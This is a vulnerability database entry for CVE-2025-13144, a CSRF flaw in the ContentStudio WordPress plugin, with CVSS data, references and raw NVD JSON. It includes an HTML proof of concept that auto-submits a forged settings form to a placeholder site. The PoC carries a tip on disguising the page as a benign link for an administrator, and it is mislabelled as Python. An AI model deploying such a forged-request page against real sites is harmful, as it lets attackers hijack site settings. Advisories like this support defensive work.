CVE-2025-13144

Description

The ContentStudio plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.7. This is due to missing or insufficient nonce validation on the add_cstu_settings function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

ContentStudio插件 <= 1.3.7 (所有版本)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-13144 -->
<!-- Target: WordPress ContentStudio Plugin <= 1.3.7 -->
<!-- This PoC exploits missing nonce validation in add_cstu_settings function -->

<!DOCTYPE html>
<html>
<head>
    <title>ContentStudio CSRF Exploit</title>
</head>
<body>
    <h1>ContentStudio Plugin CSRF Attack</h1>
    <p>If you see this message, the attack form has been submitted.</p>
    
    <form action="http://target-wordpress-site.com/wp-admin/admin-post.php" method="POST" id="exploitForm">
        <input type="hidden" name="action" value="add_cstu_settings">
        <input type="hidden" name="cstu_api_key" value="attacker_controlled_api_key">
        <input type="hidden" name="cstu_settings" value="malicious_configuration">
        <!-- Add other plugin settings as needed -->
    </form>
    
    <script>
        // Auto-submit the form when page loads
        document.getElementById('exploitForm').submit();
    </script>
    
    <p>Social Engineering Note: This page should be disguised as a benign link sent to admin</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-13144
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-13144
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-13144/
[4] VulDB https://vuldb.com/cve/CVE-2025-13144
[5] https://plugins.trac.wordpress.org/browser/contentstudio/tags/1.3.7/contentstudio-plugin.php#L380
[6] https://plugins.trac.wordpress.org/browser/contentstudio/tags/1.3.7/contentstudio-plugin.php#L383
[7] https://plugins.trac.wordpress.org/changeset/3412182/
[8] https://www.wordfence.com/threat-intel/vulnerabilities/id/047fd07c-ab07-49bf-8a94-8ae33c92f93e?source=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-13144", "sourceIdentifier": "[email protected]", "published": "2025-12-05T06:16:07.400", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The ContentStudio plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.3.7. This is due to missing or insufficient nonce validation on the add_cstu_settings function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/contentstudio/tags/1.3.7/contentstudio-plugin.php#L380", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/contentstudio/tags/1.3.7/contentstudio-plugin.php#L383", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset/3412182/", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/047fd07c-ab07-49bf-8a94-8ae33c92f93e?source=cve", "source": "[email protected]"}]}}